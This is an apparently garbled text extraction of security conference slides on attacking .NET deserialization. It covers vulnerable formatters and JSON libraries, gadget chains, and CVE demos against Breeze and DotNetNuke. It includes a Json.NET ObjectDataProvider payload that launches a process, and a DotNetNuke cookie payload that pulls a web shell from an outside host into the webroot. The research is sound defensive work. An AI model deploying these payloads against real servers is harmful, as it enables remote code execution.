Attacking NET Serialization
Attacking NET Serialization
.NET SERIALIZATION
Alvaro Muoz
pwntester
> whoami
3
1000
1010101011010
101010110010101001
10101011001010110
1010101011011
1000
4
?
?
JSON
5
Agenda
1. Attacking .NET Formatters
- Affected formatters
- Gadgets
- Demo
2. Attacking .NET JSON serializers
- Affected Libraries
- Gadgets
- Demo
3. Generalizing the attack
- Demo
.NET Formatters
Introduction
Attacks on .NET formatters are not new
James Forshaw already introduced them at BlackHat 2012 for:
- BinaryFormatter
- NetDataContractSerializer
However, lack of Remote Code Execution gadgets until early this year
Goals:
Raise awareness about perils of .NET deserialization
Present new vulnerable formatters scenarios
Present new gadgets
Need new gadgets that works with Formatters other than BinaryFormatter
Quick recap of Java deser attacks
Attackers can force the execution of any readObject()/readResolve()
methods of any class sitting in the classpath
By controlling the deserialized field values attackers may abuse the logic of these
methods to run arbitrary code
readObject {
doSomething(String a) {
doSomething(a)
Runtime.exec(a)
}
}
Field a
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
PSObject Gadget (CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
XAML Payload
CSRF cookie
Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions
set_MethodName()
set_ObjectType()
set_ObjectInstance()
QueryWorker()
Refresh()
InvokeMethodOnInstance()
BeginQuery()
System.Windows.Data.ObjectDataProvider
{"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System},
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["calc"]},
"MethodName":"Start"
}
Non-default constructor with controlled parameters
ObjectType + ConstructorParameters
Any public instance method of unmarshaled object without parameters
ObjectInstance + MethodName
Any public static/instance method with controlled parameters
ObjectType + ConstructorParameters + MethodName + MethodParameters
Analyzed Libraries
Arbitrary Code Execution Requirements:
1. Attacker can control type of reconstructed objects
Can specify Type _type, $type, class, classname, javaClass,
Library loads and instantiate Type
2. Library/GC will call methods on reconstructed objects
3. There are gadget chains starting on method executed upon/after
reconstruction
Categorization
Format includes type discriminator
1. Default
2. Configuration setting
Type control
1. Cast after deserialization
2. Inspection of expected type object graph
Expected Types Object Graph Inspection
- Inspection of expected types object graph
- Check assignability from provided type
- In some cases it also create a whitelist of allowed types
- Vulnerable if
- Expected type is user-controllable
- Attacker can find injection member in object graph and no whitelist is applied
Message
Body : Object
IUser User Exc: Exception
Name : String Name : String
Items : Dict<String, Object> Items : Dict<String, Object>
Message : Message Message : Message
Props : Hashtable Exception ValidationException
Data : IDictionary
Message : String Value : Object
Source: String
StackTrace: String
InnerException: Exception
Summary
Invokes
- Setter
Should never be used with untrusted data
Example:
- KalikoCMS
- CVE-2017-10712
JavaScriptSerializer
System.Web.Script.Serialization.JavaScriptSerializer
By default, it will not include type discriminator information
- Type Resolver can be used to include this information.
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
Invokes:
- Setters
- Serialization Constructors
Can be used securely as long as the expected type cannot be controlled by users.
Json.Net
It does not include Type discriminators unless TypeNameHandling setting other
than None is used
Performs an inspection of Expected Types Object Graph
Invokes:
- Setters
- Serialization callbacks
- Type Converters
Use SerializationBinder to whitelist Types if TypeNameHandling is
required
Demo 1: Breeze (CVE-2017-9424)
https://github.com/Breeze/breeze.server.net/blob/bda6d979437d7a3430be8872fea182c3cbc4c97c/AspNet/Breeze.ContextProvider/BreezeConfig.cs
Unsafe Deserialization & Entrypoint
https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
Demo 1: Breeze (CVE-2017-9424)
Generalizing the Attacks
Attacking all the deserializers
- During unmarshaling, objects will need to be created and populated
which normally mean calling setters or deserialization constructors.
Arbitrary Code Execution Requirements:
3. Gadget space is big enough to find types we can chain to get RCE
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72
Sink
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201
DNNPersonalization Regular Cookie
<profile>
<boolean>false</boolean>
</item>
</profile>
DNNPersonalization Payload Cookie
<profile>
<item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win
dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Demo 3: DotNetNuke (CVE-2017-9822)
Wrap-Up
Main Takeaways
Thank you.
alvaro.munoz@microfocus.com
@pwntester